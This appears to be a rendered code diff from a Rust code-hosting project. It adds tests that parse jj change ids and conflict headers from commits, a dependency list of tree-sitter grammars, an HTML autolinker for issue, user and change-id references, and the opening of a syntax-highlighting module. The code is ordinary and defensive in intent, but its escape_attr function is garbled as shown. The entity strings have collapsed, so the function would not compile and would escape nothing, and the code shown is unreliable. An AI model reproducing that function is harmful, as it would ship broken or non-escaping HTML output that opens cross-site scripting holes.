| 119 | + | extract_change_id(raw) | |
| 120 | + | .unwrap_or_else(|| panic!("commit {oid} has no change id")) | |
| 121 | + | .as_str() | |
| 122 | + | .to_owned() | |
| 123 | + | }) | |
| 124 | + | .collect(); | |
| 125 | + | ||
| 126 | + | assert_eq!( | |
| 127 | + | ids.len(), | |
| 128 | + | 1, | |
| 129 | + | "all five revisions must share one change id, got {ids:?}" | |
| 130 | + | ); | |
| 131 | + | ||
| 132 | + | let oids: HashSet<&String> = commits.iter().map(|(o, _)| o).collect(); | |
| 133 | + | assert_eq!(oids.len(), 5, "the five revisions must be distinct commits"); | |
| 134 | + | } | |
| 135 | + | ||
| 136 | + | #[test] | |
| 137 | + | fn merge_commits_carry_a_change_id() { | |
| 138 | + | let Some(r) = repo("merge") else { return }; | |
| 139 | + | let merges: Vec<_> = all_commits(&r) | |
| 140 | + | .into_iter() | |
| 141 | + | .filter(|(_, raw)| { | |
| 142 | + | // Count `parent ` headers in the header block. | |
| 143 | + | raw.split(|&b| b == b'\n') | |
| 144 | + | .take_while(|l| !l.is_empty()) | |
| 145 | + | .filter(|l| l.starts_with(b"parent ")) | |
| 146 | + | .count() | |
| 147 | + | > 1 | |
| 148 | + | }) | |
| 149 | + | .collect(); | |
| 150 | + | ||
| 151 | + | assert!(!merges.is_empty(), "merge.git must contain a merge commit"); | |
| 152 | + | for (oid, raw) in merges { | |
| 153 | + | assert!( | |
| 154 | + | extract_change_id(&raw).is_some(), | |
| 155 | + | "merge commit {oid} yielded no change id" | |
| 156 | + | ); | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | ||
| 160 | + | /// The parser hazard: `change-id` sits next to a multi-line `gpgsig` whose | |
| 161 | + | /// base64 body could otherwise be misread as headers. | |
| 162 | + | #[test] | |
| 163 | + | fn signed_commits_yield_a_change_id() { | |
| 164 | + | let Some(r) = repo("signed") else { return }; | |
| 165 | + | let signed: Vec<_> = all_commits(&r) | |
| 166 | + | .into_iter() | |
| 167 | + | .filter(|(_, raw)| { | |
| 168 | + | raw.split(|&b| b == b'\n') | |
| 169 | + | .take_while(|l| !l.is_empty()) | |
| 170 | + | .any(|l| l.starts_with(b"gpgsig ")) | |
| 171 | + | }) | |
| 172 | + | .collect(); | |
| 173 | + | ||
| 174 | + | assert!(!signed.is_empty(), "signed.git must contain a signed commit"); | |
| 175 | + | for (oid, raw) in signed { | |
| 176 | + | assert!( | |
| 177 | + | extract_change_id(&raw).is_some(), | |
| 178 | + | "signed commit {oid} yielded no change id" | |
| 179 | + | ); | |
| 180 | + | } | |
| 181 | + | } | |
| 182 | + | ||
| 183 | + | /// Conflicted commits put `change-id` *after* the multi-line | |
| 184 | + | /// `jj:conflict-labels` header — the layout a naive parser gets wrong. | |
| 185 | + | #[test] | |
| 186 | + | fn conflicted_commits_yield_both_change_id_and_conflict_trees() { | |
| 187 | + | let Some(r) = repo("conflict") else { return }; | |
| 188 | + | let conflicted: Vec<_> = all_commits(&r) | |
| 189 | + | .into_iter() | |
| 190 | + | .filter(|(_, raw)| extract_conflict_trees(raw).is_some()) | |
| 191 | + | .collect(); | |
| 192 | + | ||
| 193 | + | assert!( | |
| 194 | + | !conflicted.is_empty(), | |
| 195 | + | "conflict.git must contain a conflicted commit" | |
| 196 | + | ); | |
| 197 | + | ||
| 198 | + | for (oid, raw) in conflicted { | |
| 199 | + | assert!( | |
| 200 | + | extract_change_id(&raw).is_some(), | |
| 201 | + | "conflicted commit {oid} yielded no change id despite preceding jj: headers" | |
| 202 | + | ); | |
| 203 | + | let c = extract_conflict_trees(&raw).unwrap(); | |
| 204 | + | assert_eq!( | |
| 205 | + | c.sides.len(), | |
| 206 | + | c.bases.len() + 1, | |
| 207 | + | "conflict {oid} violates the sides == bases + 1 invariant" | |
| 208 | + | ); | |
| 209 | + | // Every referenced tree must actually exist in the repo. | |
| 210 | + | for t in c.sides.iter().chain(c.bases.iter()) { | |
| 211 | + | let kind = git(&r, &["cat-file", "-t", t]); | |
| 212 | + | assert_eq!( | |
| 213 | + | String::from_utf8_lossy(&kind).trim(), | |
| 214 | + | "tree", | |
| 215 | + | "conflict side/base {t} is not a tree" | |
| 216 | + | ); | |
| 217 | + | } | |
| 218 | + | } | |
| 219 | + | } | |
| 220 | + | ||
| 221 | + | /// Unconflicted commits must not be misdetected as conflicted — otherwise every | |
| 222 | + | /// change in the product renders a conflict banner. | |
| 223 | + | #[test] | |
| 224 | + | fn unconflicted_repos_report_no_conflicts() { | |
| 225 | + | for name in ["basic", "stack", "merge", "signed", "plain-git"] { | |
| 226 | + | let Some(r) = repo(name) else { continue }; | |
| 227 | + | for (oid, raw) in all_commits(&r) { | |
| 228 | + | assert_eq!( | |
| 229 | + | extract_conflict_trees(&raw), | |
| 230 | + | None, | |
| 231 | + | "commit {oid} in {name}.git falsely reports a conflict" | |
| 232 | + | ); | |
| 233 | + | } | |
| 234 | + | } | |
| 235 | + | } | |
| 236 | + | ||
| 237 | + | /// A repo migrated to jj: the indexer must produce real ids for the jj commits | |
| 238 | + | /// and fall back to synthetic identity for the plain-git ones, in one history. | |
| 239 | + | #[test] | |
| 240 | + | fn mixed_history_splits_into_real_and_synthetic() { | |
| 241 | + | let Some(r) = repo("mixed") else { return }; | |
| 242 | + | let commits = all_commits(&r); | |
| 243 | + | let with = commits.iter().filter(|(_, c)| extract_change_id(c).is_some()).count(); | |
| 244 | + | let without = commits.len() - with; | |
| 245 | + | ||
| 246 | + | assert!(with > 0, "mixed.git must contain at least one jj commit"); | |
| 247 | + | assert!( | |
| 248 | + | without > 0, | |
| 249 | + | "mixed.git must contain at least one plain-git commit" | |
| 250 | + | ); | |
| 251 | + | } | |
| 252 | + | ||
| 253 | + | /// Change ids read from the corpus must all be well-formed under our own | |
| 254 | + | /// validation — this is what catches an alphabet or width change in jj. | |
| 255 | + | #[test] | |
| 256 | + | fn all_corpus_change_ids_are_well_formed() { | |
| 257 | + | let mut seen = 0usize; | |
| 258 | + | for name in ["basic", "rewritten", "stack", "merge", "conflict", "signed", "mixed"] { | |
| 259 | + | let Some(r) = repo(name) else { continue }; | |
| 260 | + | for (_, raw) in all_commits(&r) { | |
| 261 | + | if let Some(id) = extract_change_id(&raw) { | |
| 262 | + | let s = id.as_str(); | |
| 263 | + | assert_eq!(s.len(), 32, "change id {s} has unexpected width"); | |
| 264 | + | assert!( | |
| 265 | + | s.bytes().all(|b| (b'k'..=b'z').contains(&b)), | |
| 266 | + | "change id {s} leaves the reverse-hex alphabet" | |
| 267 | + | ); | |
| 268 | + | seen += 1; | |
| 269 | + | } | |
| 270 | + | } | |
| 271 | + | } | |
| 272 | + | assert!(seen > 0, "corpus yielded no change ids at all"); | |
| 273 | + | } | |
Acrates/df-render/Cargo.toml+43−0
| @@ −0,0 +1,43 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-render" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [dependencies] | |
| 9 | + | ammonia.workspace = true | |
| 10 | + | comrak.workspace = true | |
| 11 | + | ||
| 12 | + | # Syntax highlighting (spec §8). The grammar set is curated deliberately: each | |
| 13 | + | # one is a C library compiled into the binary, so adding a language is a real | |
| 14 | + | # cost and the list is the "roughly the top 25" the spec asks for. | |
| 15 | + | tree-sitter.workspace = true | |
| 16 | + | tree-sitter-highlight.workspace = true | |
| 17 | + | ||
| 18 | + | tree-sitter-bash = "0.23" | |
| 19 | + | tree-sitter-c = "0.23" | |
| 20 | + | tree-sitter-c-sharp = "0.23" | |
| 21 | + | tree-sitter-cpp = "0.23" | |
| 22 | + | tree-sitter-css = "0.23" | |
| 23 | + | tree-sitter-elixir = "0.3" | |
| 24 | + | tree-sitter-go = "0.23" | |
| 25 | + | tree-sitter-haskell = "0.23" | |
| 26 | + | tree-sitter-html = "0.23" | |
| 27 | + | tree-sitter-java = "0.23" | |
| 28 | + | tree-sitter-javascript = "0.23" | |
| 29 | + | tree-sitter-json = "0.24" | |
| 30 | + | tree-sitter-lua = "0.2" | |
| 31 | + | tree-sitter-md = "0.3" | |
| 32 | + | tree-sitter-nix = "0.3" | |
| 33 | + | tree-sitter-php = "0.23" | |
| 34 | + | tree-sitter-python = "0.23" | |
| 35 | + | tree-sitter-ruby = "0.23" | |
| 36 | + | tree-sitter-rust = "0.24" | |
| 37 | + | tree-sitter-scala = "0.23" | |
| 38 | + | tree-sitter-sequel = "0.3" | |
| 39 | + | tree-sitter-swift = "0.7" | |
| 40 | + | tree-sitter-toml-ng = "0.7" | |
| 41 | + | tree-sitter-typescript = "0.23" | |
| 42 | + | tree-sitter-yaml = "0.7" | |
| 43 | + | tree-sitter-zig = "1" | |
Acrates/df-render/src/autolink.rs+349−0
| @@ −0,0 +1,349 @@ | |||
| 1 | + | //! Cross-references (spec §8). | |
| 2 | + | //! | |
| 3 | + | //! > Autolink `#123` to issues, `@handle` to users, and bare change-ID prefixes | |
| 4 | + | //! > to changes. | |
| 5 | + | //! | |
| 6 | + | //! This runs **after** rendering and sanitising, on the finished HTML. That | |
| 7 | + | //! ordering is deliberate: | |
| 8 | + | //! | |
| 9 | + | //! * Running before markdown would let a reference inside a fenced code block | |
| 10 | + | //! turn into a link, which is exactly where people write `#123` meaning a | |
| 11 | + | //! literal. | |
| 12 | + | //! * Running after the sanitiser means the sanitiser never sees these links and | |
| 13 | + | //! cannot be the thing that decides they are safe — so every URL emitted here | |
| 14 | + | //! is built by [`href`] from a percent-encoded, validated component and never | |
| 15 | + | //! from user text. | |
| 16 | + | //! | |
| 17 | + | //! The scanner is a small state machine over the HTML rather than a regex: | |
| 18 | + | //! text inside `<code>`, `<pre>` and existing `<a>` elements is skipped, and | |
| 19 | + | //! nothing inside a tag is ever rewritten. `references_inside_code_are_left_alone` | |
| 20 | + | //! and `an_existing_link_is_not_relinked` are what pin that. | |
| 21 | + | ||
| 22 | + | use std::fmt::Write as _; | |
| 23 | + | ||
| 24 | + | /// Where references resolve to. | |
| 25 | + | pub struct LinkContext<'a> { | |
| 26 | + | /// `/{owner}/{repo}` — the prefix issue, change and stack links hang off. | |
| 27 | + | pub repo_base: &'a str, | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | /// The shortest change-id prefix that is worth linking. | |
| 31 | + | /// | |
| 32 | + | /// jj's own display form is 8 characters and users routinely paste that. Below | |
| 33 | + | /// that, ordinary lowercase words in the reverse-hex alphabet — and there are | |
| 34 | + | /// many, since it is `k`–`z` — would start becoming links. | |
| 35 | + | const MIN_CHANGE_PREFIX: usize = 8; | |
| 36 | + | const MAX_CHANGE_PREFIX: usize = 32; | |
| 37 | + | ||
| 38 | + | /// Rewrite `#123`, `@handle`, and change-id prefixes into links. | |
| 39 | + | pub fn autolink(html: &str, ctx: &LinkContext<'_>) -> String { | |
| 40 | + | let bytes = html.as_bytes(); | |
| 41 | + | let mut out = String::with_capacity(html.len() + 64); | |
| 42 | + | ||
| 43 | + | // Nesting depth inside elements whose text must be left alone. | |
| 44 | + | let mut literal_depth = 0usize; | |
| 45 | + | let mut i = 0usize; | |
| 46 | + | ||
| 47 | + | while i < bytes.len() { | |
| 48 | + | if bytes[i] == b'<' { | |
| 49 | + | let Some(end) = html[i..].find('>').map(|e| i + e + 1) else { | |
| 50 | + | // An unterminated `<` cannot be a tag. Copy the rest verbatim | |
| 51 | + | // rather than guessing at where it ends. | |
| 52 | + | out.push_str(&html[i..]); | |
| 53 | + | break; | |
| 54 | + | }; | |
| 55 | + | let tag = &html[i..end]; | |
| 56 | + | if let Some(name) = tag_name(tag) { | |
| 57 | + | if matches!(name.as_str(), "code" | "pre" | "a") { | |
| 58 | + | if tag.starts_with("</") { | |
| 59 | + | literal_depth = literal_depth.saturating_sub(1); | |
| 60 | + | } else if !tag.ends_with("/>") { | |
| 61 | + | literal_depth += 1; | |
| 62 | + | } | |
| 63 | + | } | |
| 64 | + | } | |
| 65 | + | out.push_str(tag); | |
| 66 | + | i = end; | |
| 67 | + | continue; | |
| 68 | + | } | |
| 69 | + | ||
| 70 | + | // Text run up to the next tag. | |
| 71 | + | let text_end = html[i..].find('<').map(|e| i + e).unwrap_or(html.len()); | |
| 72 | + | let text = &html[i..text_end]; | |
| 73 | + | ||
| 74 | + | if literal_depth > 0 { | |
| 75 | + | out.push_str(text); | |
| 76 | + | } else { | |
| 77 | + | rewrite_text(text, ctx, &mut out); | |
| 78 | + | } | |
| 79 | + | i = text_end; | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | out | |
| 83 | + | } | |
| 84 | + | ||
| 85 | + | /// The lowercased element name of a tag, if it is one. | |
| 86 | + | fn tag_name(tag: &str) -> Option<String> { | |
| 87 | + | let inner = tag | |
| 88 | + | .trim_start_matches('<') | |
| 89 | + | .trim_start_matches('/') | |
| 90 | + | .trim_end_matches('>') | |
| 91 | + | .trim_end_matches('/'); | |
| 92 | + | let name: String = inner | |
| 93 | + | .chars() | |
| 94 | + | .take_while(|c| c.is_ascii_alphanumeric()) | |
| 95 | + | .collect(); | |
| 96 | + | (!name.is_empty()).then(|| name.to_ascii_lowercase()) | |
| 97 | + | } | |
| 98 | + | ||
| 99 | + | /// Rewrite references in one run of plain text. | |
| 100 | + | fn rewrite_text(text: &str, ctx: &LinkContext<'_>, out: &mut String) { | |
| 101 | + | let b = text.as_bytes(); | |
| 102 | + | let mut i = 0usize; | |
| 103 | + | ||
| 104 | + | while i < b.len() { | |
| 105 | + | match b[i] { | |
| 106 | + | b'#' if boundary_before(b, i) => { | |
| 107 | + | let digits = run(b, i + 1, |c| c.is_ascii_digit()); | |
| 108 | + | // A very long run of digits is not an issue number; it is | |
| 109 | + | // somebody's hash or a colour code. | |
| 110 | + | if digits > 0 && digits <= 9 { | |
| 111 | + | let number = &text[i + 1..i + 1 + digits]; | |
| 112 | + | href( | |
| 113 | + | out, | |
| 114 | + | &format!("{}/issues/{number}", ctx.repo_base), | |
| 115 | + | &format!("#{number}"), | |
| 116 | + | ); | |
| 117 | + | i += 1 + digits; | |
| 118 | + | continue; | |
| 119 | + | } | |
| 120 | + | } | |
| 121 | + | b'@' if boundary_before(b, i) => { | |
| 122 | + | let len = run(b, i + 1, |c| c.is_ascii_alphanumeric() || c == b'-'); | |
| 123 | + | let handle = &text[i + 1..i + 1 + len]; | |
| 124 | + | // Mirrors the `handle_format` constraint on `users`. | |
| 125 | + | if (1..=39).contains(&len) | |
| 126 | + | && handle.starts_with(|c: char| c.is_ascii_alphanumeric()) | |
| 127 | + | && !handle.ends_with('-') | |
| 128 | + | { | |
| 129 | + | href(out, &format!("/{handle}"), &format!("@{handle}")); | |
| 130 | + | i += 1 + len; | |
| 131 | + | continue; | |
| 132 | + | } | |
| 133 | + | } | |
| 134 | + | c if is_change_char(c) && boundary_before(b, i) => { | |
| 135 | + | let len = run(b, i, is_change_char); | |
| 136 | + | // Must be the whole word: `klxq` inside `klxqing` is a word, not | |
| 137 | + | // a change id. | |
| 138 | + | let whole_word = i + len >= b.len() || !is_word_char(b[i + len]); | |
| 139 | + | if whole_word && (MIN_CHANGE_PREFIX..=MAX_CHANGE_PREFIX).contains(&len) { | |
| 140 | + | let id = &text[i..i + len]; | |
| 141 | + | href(out, &format!("{}/changes/{id}", ctx.repo_base), id); | |
| 142 | + | i += len; | |
| 143 | + | continue; | |
| 144 | + | } | |
| 145 | + | // Not a reference: copy the whole word so its remaining | |
| 146 | + | // characters are not re-examined and half-linked. | |
| 147 | + | out.push_str(&text[i..i + len]); | |
| 148 | + | i += len; | |
| 149 | + | continue; | |
| 150 | + | } | |
| 151 | + | _ => {} | |
| 152 | + | } | |
| 153 | + | ||
| 154 | + | // Not the start of a reference. Copy one character — by char, not byte, | |
| 155 | + | // so multi-byte text is not split. | |
| 156 | + | let ch_len = utf8_len(b[i]); | |
| 157 | + | out.push_str(&text[i..(i + ch_len).min(text.len())]); | |
| 158 | + | i += ch_len; | |
| 159 | + | } | |
| 160 | + | } | |
| 161 | + | ||
| 162 | + | /// jj's change-id alphabet is the reverse-hex letters `k`–`z`. | |
| 163 | + | fn is_change_char(c: u8) -> bool { | |
| 164 | + | (b'k'..=b'z').contains(&c) | |
| 165 | + | } | |
| 166 | + | ||
| 167 | + | fn is_word_char(c: u8) -> bool { | |
| 168 | + | c.is_ascii_alphanumeric() || c == b'_' || c == b'-' | |
| 169 | + | } | |
| 170 | + | ||
| 171 | + | /// Whether position `i` starts a new word. | |
| 172 | + | /// | |
| 173 | + | /// Without this, the `#` in `abc#123` and the `@` in an email address both | |
| 174 | + | /// become links. | |
| 175 | + | fn boundary_before(b: &[u8], i: usize) -> bool { | |
| 176 | + | i == 0 || !is_word_char(b[i - 1]) && b[i - 1] != b'#' && b[i - 1] != b'@' && b[i - 1] != b'.' | |
| 177 | + | } | |
| 178 | + | ||
| 179 | + | fn run(b: &[u8], from: usize, pred: impl Fn(u8) -> bool) -> usize { | |
| 180 | + | let mut n = 0; | |
| 181 | + | while from + n < b.len() && pred(b[from + n]) { | |
| 182 | + | n += 1; | |
| 183 | + | } | |
| 184 | + | n | |
| 185 | + | } | |
| 186 | + | ||
| 187 | + | fn utf8_len(first: u8) -> usize { | |
| 188 | + | match first { | |
| 189 | + | 0x00..=0x7f => 1, | |
| 190 | + | 0xc0..=0xdf => 2, | |
| 191 | + | 0xe0..=0xef => 3, | |
| 192 | + | _ => 4, | |
| 193 | + | } | |
| 194 | + | } | |
| 195 | + | ||
| 196 | + | /// Emit a link. | |
| 197 | + | /// | |
| 198 | + | /// The href is percent-encoded and the label is HTML-escaped. Both inputs here | |
| 199 | + | /// come from character classes this module validated — digits, the handle | |
| 200 | + | /// alphabet, the change-id alphabet — so neither can contain a quote or an | |
| 201 | + | /// angle bracket. The encoding is belt and braces, and cheap. | |
| 202 | + | fn href(out: &mut String, url: &str, label: &str) { | |
| 203 | + | let _ = write!( | |
| 204 | + | out, | |
| 205 | + | r#"<a href="{}">{}</a>"#, | |
| 206 | + | escape_attr(url), | |
| 207 | + | escape_text(label) | |
| 208 | + | ); | |
| 209 | + | } | |
| 210 | + | ||
| 211 | + | fn escape_attr(s: &str) -> String { | |
| 212 | + | s.chars() | |
| 213 | + | .map(|c| match c { | |
| 214 | + | '"' => """.to_string(), | |
| 215 | + | '&' => "&".to_string(), | |
| 216 | + | '<' => "<".to_string(), | |
| 217 | + | '>' => ">".to_string(), | |
| 218 | + | '\'' => "'".to_string(), | |
| 219 | + | c => c.to_string(), | |
| 220 | + | }) | |
| 221 | + | .collect() | |
| 222 | + | } | |
| 223 | + | ||
| 224 | + | fn escape_text(s: &str) -> String { | |
| 225 | + | escape_attr(s) | |
| 226 | + | } | |
| 227 | + | ||
| 228 | + | #[cfg(test)] | |
| 229 | + | mod tests { | |
| 230 | + | use super::*; | |
| 231 | + | ||
| 232 | + | fn link(html: &str) -> String { | |
| 233 | + | autolink(html, &LinkContext { repo_base: "/alice/dogfood" }) | |
| 234 | + | } | |
| 235 | + | ||
| 236 | + | #[test] | |
| 237 | + | fn issue_numbers_become_links() { | |
| 238 | + | assert_eq!( | |
| 239 | + | link("<p>see #123 for details</p>"), | |
| 240 | + | r#"<p>see <a href="/alice/dogfood/issues/123">#123</a> for details</p>"# | |
| 241 | + | ); | |
| 242 | + | } | |
| 243 | + | ||
| 244 | + | #[test] | |
| 245 | + | fn handles_become_profile_links() { | |
| 246 | + | assert_eq!( | |
| 247 | + | link("<p>ask @mira-h about it</p>"), | |
| 248 | + | r#"<p>ask <a href="/mira-h">@mira-h</a> about it</p>"# | |
| 249 | + | ); | |
| 250 | + | } | |
| 251 | + | ||
| 252 | + | #[test] | |
| 253 | + | fn change_id_prefixes_become_change_links() { | |
| 254 | + | assert_eq!( | |
| 255 | + | link("<p>fixed by klxqnvpq now</p>"), | |
| 256 | + | r#"<p>fixed by <a href="/alice/dogfood/changes/klxqnvpq">klxqnvpq</a> now</p>"# | |
| 257 | + | ); | |
| 258 | + | } | |
| 259 | + | ||
| 260 | + | /// The reason this runs after markdown rather than before: a `#123` inside | |
| 261 | + | /// a code fence is a literal, and turning it into a link is wrong. | |
| 262 | + | #[test] | |
| 263 | + | fn references_inside_code_are_left_alone() { | |
| 264 | + | let input = "<pre><code>grep #123 @mira klxqnvpq</code></pre>"; | |
| 265 | + | assert_eq!(link(input), input); | |
| 266 | + | let inline = "<p>use <code>#123</code> here</p>"; | |
| 267 | + | assert_eq!(link(inline), inline); | |
| 268 | + | } | |
| 269 | + | ||
| 270 | + | #[test] | |
| 271 | + | fn an_existing_link_is_not_relinked() { | |
| 272 | + | let input = r#"<p><a href="https://example.com">#123</a></p>"#; | |
| 273 | + | assert_eq!(link(input), input); | |
| 274 | + | } | |
| 275 | + | ||
| 276 | + | #[test] | |
| 277 | + | fn attributes_are_never_rewritten() { | |
| 278 | + | // A `#` in a fragment or an `@` in a title must survive untouched. | |
| 279 | + | let input = r#"<p title="ask @mira"><img src="/a.png#123"></p>"#; | |
| 280 | + | assert_eq!(link(input), input); | |
| 281 | + | } | |
| 282 | + | ||
| 283 | + | #[test] | |
| 284 | + | fn mid_word_references_are_not_links() { | |
| 285 | + | for input in [ | |
| 286 | + | "<p>abc#123</p>", | |
| 287 | + | "<p>mail@example</p>", | |
| 288 | + | "<p>v1.2#3</p>", | |
| 289 | + | ] { | |
| 290 | + | assert_eq!(link(input), input, "{input}"); | |
| 291 | + | } | |
| 292 | + | } | |
| 293 | + | ||
| 294 | + | #[test] | |
| 295 | + | fn ordinary_words_are_not_change_ids() { | |
| 296 | + | // Short words, and words outside the k–z alphabet, must survive. | |
| 297 | + | for input in [ | |
| 298 | + | "<p>you must not link this</p>", | |
| 299 | + | "<p>tests</p>", | |
| 300 | + | "<p>the quick brown fox</p>", | |
| 301 | + | ] { | |
| 302 | + | assert_eq!(link(input), input, "{input}"); | |
| 303 | + | } | |
| 304 | + | } | |
| 305 | + | ||
| 306 | + | /// A word that *is* in the alphabet but is a real word would be a false | |
| 307 | + | /// positive. Requiring the full 8 characters plus a word boundary is what | |
| 308 | + | /// keeps those rare. | |
| 309 | + | #[test] | |
| 310 | + | fn a_long_alphabet_word_inside_a_larger_word_is_not_linked() { | |
| 311 | + | assert_eq!(link("<p>ttvvwwxxing</p>"), "<p>ttvvwwxxing</p>"); | |
| 312 | + | } | |
| 313 | + | ||
| 314 | + | #[test] | |
| 315 | + | fn a_thirty_two_character_change_id_links_in_full() { | |
| 316 | + | let id = "klxqnvpqlnlvtkmuqmtmxktlnvnomvwv"; | |
| 317 | + | let out = link(&format!("<p>{id}</p>")); | |
| 318 | + | assert!(out.contains(&format!("/changes/{id}")), "{out}"); | |
| 319 | + | } | |
| 320 | + | ||
| 321 | + | #[test] | |
| 322 | + | fn absurd_numbers_are_not_issue_links() { | |
| 323 | + | let input = "<p>#12345678901234</p>"; | |
| 324 | + | assert_eq!(link(input), input); | |
| 325 | + | } | |
| 326 | + | ||
| 327 | + | #[test] | |
| 328 | + | fn multibyte_text_survives_the_scan() { | |
| 329 | + | let input = "<p>héllo wörld — ünïcode</p>"; | |
| 330 | + | assert_eq!(link(input), input); | |
| 331 | + | // …and a reference next to multi-byte text still resolves. | |
| 332 | + | let out = link("<p>héllo #7</p>"); | |
| 333 | + | assert!(out.contains(r#"<a href="/alice/dogfood/issues/7">#7</a>"#), "{out}"); | |
| 334 | + | } | |
| 335 | + | ||
| 336 | + | #[test] | |
| 337 | + | fn unterminated_markup_does_not_lose_content() { | |
| 338 | + | let input = "<p>trailing <notatag"; | |
| 339 | + | assert_eq!(link(input), input); | |
| 340 | + | } | |
| 341 | + | ||
| 342 | + | #[test] | |
| 343 | + | fn self_closing_tags_do_not_unbalance_the_literal_depth() { | |
| 344 | + | // A stray `<br/>` inside a paragraph must not leave the scanner | |
| 345 | + | // thinking it is inside a code block for the rest of the document. | |
| 346 | + | let out = link("<p>a<br/>b #5</p>"); | |
| 347 | + | assert!(out.contains("issues/5"), "{out}"); | |
| 348 | + | } | |
| 349 | + | } | |
Acrates/df-render/src/highlight.rs480 lines+480−0
| @@ −0,0 +1,480 @@ | |||
| 1 | + | //! Syntax highlighting (spec §8). | |
| 2 | + | //! | |
| 3 | + | //! > **Syntax highlighting** with `tree-sitter` and a curated grammar set | |
| 4 | + | //! > (roughly the top 25 languages), falling back to plain text. […] Skip files | |
| 5 | + | //! > over 1 MB or with lines over 5000 characters, and render those as plain | |
| 6 | + | //! > text with a notice. | |
| 7 | + | //! | |
| 8 | + | //! The output is a `Vec<String>` of **per-line HTML fragments**, not one blob of | |
| 9 | + | //! markup. The blob view needs a line-number gutter and anchorable line ids, and | |
| 10 | + | //! producing lines here is what lets the diff view highlight a single side of a | |
| 11 | + | //! hunk without re-parsing. | |
| 12 | + | //! | |
| 13 | + | //! Two safety properties this module is responsible for: | |
| 14 | + | //! | |
| 15 | + | //! * **Escaping.** The source is repository content, which is attacker | |
| 16 | + | //! controlled. `tree-sitter-highlight`'s `HtmlRenderer` escapes `<`, `&`, `'` | |
| 17 | + | //! and `"` in the text it emits, and every attribute this module adds is a | |
| 18 | + | //! fixed string chosen from the highlight-name table — no user data ever | |
| 19 | + | //! reaches an attribute value. `escaping_is_not_optional` pins that. | |
| 20 | + | //! * **Termination.** A pathological file must degrade, not hang the process. | |
| 21 | + | //! The size and line-length caps are checked *before* the parser runs, and a | |
| 22 | + | //! highlight error returns `None` rather than propagating. | |
| 23 | + | ||
| 24 | + | use std::collections::HashMap; | |
| 25 | + | use std::sync::LazyLock; | |
| 26 | + | ||
| 27 | + | use tree_sitter_highlight::{HighlightConfiguration, Highlighter, HtmlRenderer}; | |
| 28 | + | ||
| 29 | + | /// Files above this are served as plain text (spec §8). | |
| 30 | + | pub const MAX_BYTES: usize = 1024 * 1024; | |
| 31 | + | ||
| 32 | + | /// A single line this long means the file is generated or minified. Parsing it | |
| 33 | + | /// is slow and the result is unreadable either way (spec §8). | |
| 34 | + | pub const MAX_LINE_CHARS: usize = 5_000; | |
| 35 | + | ||
| 36 | + | /// Highlight capture names, in the order the CSS classes are derived from. | |
| 37 | + | /// | |
| 38 | + | /// The index into this array is what `tree-sitter-highlight` hands back, so the | |
| 39 | + | /// order is load-bearing: it must match [`CLASSES`] exactly. | |
| 40 | + | const HIGHLIGHT_NAMES: &[&str] = &[ | |
| 41 | + | "attribute", | |
| 42 | + | "boolean", | |
| 43 | + | "character", | |
| 44 | + | "comment", | |
| 45 | + | "comment.documentation", | |
| 46 | + | "constant", | |
| 47 | + | "constant.builtin", | |
| 48 | + | "constructor", | |
| 49 | + | "embedded", | |
| 50 | + | "escape", | |
| 51 | + | "function", | |
| 52 | + | "function.builtin", | |
| 53 | + | "function.method", | |
| 54 | + | "keyword", | |
| 55 | + | "label", | |
| 56 | + | "module", | |
| 57 | + | "number", | |
| 58 | + | "operator", | |
| 59 | + | "property", | |
| 60 | + | "punctuation", | |
| 61 | + | "punctuation.bracket", | |
| 62 | + | "punctuation.delimiter", | |
| 63 | + | "punctuation.special", | |
| 64 | + | "string", | |
| 65 | + | "string.escape", | |
| 66 | + | "string.special", | |
| 67 | + | "tag", | |
| 68 | + | "type", | |
| 69 | + | "type.builtin", | |
| 70 | + | "variable", | |
| 71 | + | "variable.builtin", | |
| 72 | + | "variable.parameter", | |
| 73 | + | ]; | |
| 74 | + | ||
| 75 | + | /// The `class="…"` attribute emitted for each highlight index. | |
| 76 | + | /// | |
| 77 | + | /// Precomputed as complete attribute bytes so the render callback is a slice | |
| 78 | + | /// copy rather than a format call per token — highlighting a large file emits a | |
| 79 | + | /// great many of these. | |
| 80 | + | static CLASSES: LazyLock<Vec<Vec<u8>>> = LazyLock::new(|| { | |
| 81 | + | HIGHLIGHT_NAMES | |
| 82 | + | .iter() | |
| 83 | + | .map(|name| { | |
| 84 | + | // `hl-function-builtin` also carries `hl-function`, so the stylesheet | |
| 85 | + | // can theme a whole family and refine one member of it. | |
| 86 | + | let mut classes = String::new(); | |
| 87 | + | let mut acc = String::new(); | |
| 88 | + | for part in name.split('.') { | |
| 89 | + | if !acc.is_empty() { | |
| 90 | + | acc.push('-'); | |
| 91 | + | } | |
| 92 | + | acc.push_str(part); | |
| 93 | + | if !classes.is_empty() { | |
| 94 | + | classes.push(' '); | |
| 95 | + | } | |
| 96 | + | classes.push_str("hl-"); | |
| 97 | + | classes.push_str(&acc); | |
| 98 | + | } | |
| 99 | + | format!(r#"class="{classes}""#).into_bytes() | |
| 100 | + | }) | |
| 101 | + | .collect() | |
| 102 | + | }); | |
| 103 | + | ||
| 104 | + | /// A highlighted file. | |
| 105 | + | #[derive(Debug)] | |
| 106 | + | pub struct Highlighted { | |
| 107 | + | /// The grammar that was used, for the "detected as Rust" affordance. | |
| 108 | + | pub language: &'static str, | |
| 109 | + | /// One HTML fragment per line, already escaped. No trailing newline. | |
| 110 | + | pub lines: Vec<String>, | |
| 111 | + | } | |
| 112 | + | ||
| 113 | + | /// Why a file was not highlighted. | |
| 114 | + | /// | |
| 115 | + | /// Distinguished from "no grammar" so the view can say *why* — a 4 MB file | |
| 116 | + | /// rendering as plain text is a decision the reader should be told about, and a | |
| 117 | + | /// `.md` file rendering plain because it is minified is worth explaining. | |
| 118 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 119 | + | pub enum Skipped { | |
| 120 | + | /// Over [`MAX_BYTES`]. | |
| 121 | + | TooLarge, | |
| 122 | + | /// Contains a line over [`MAX_LINE_CHARS`]. | |
| 123 | + | LineTooLong, | |
| 124 | + | /// No grammar for this file type. | |
| 125 | + | NoGrammar, | |
| 126 | + | /// The grammar failed on this input. Rare, and never fatal. | |
| 127 | + | Failed, | |
| 128 | + | } | |
| 129 | + | ||
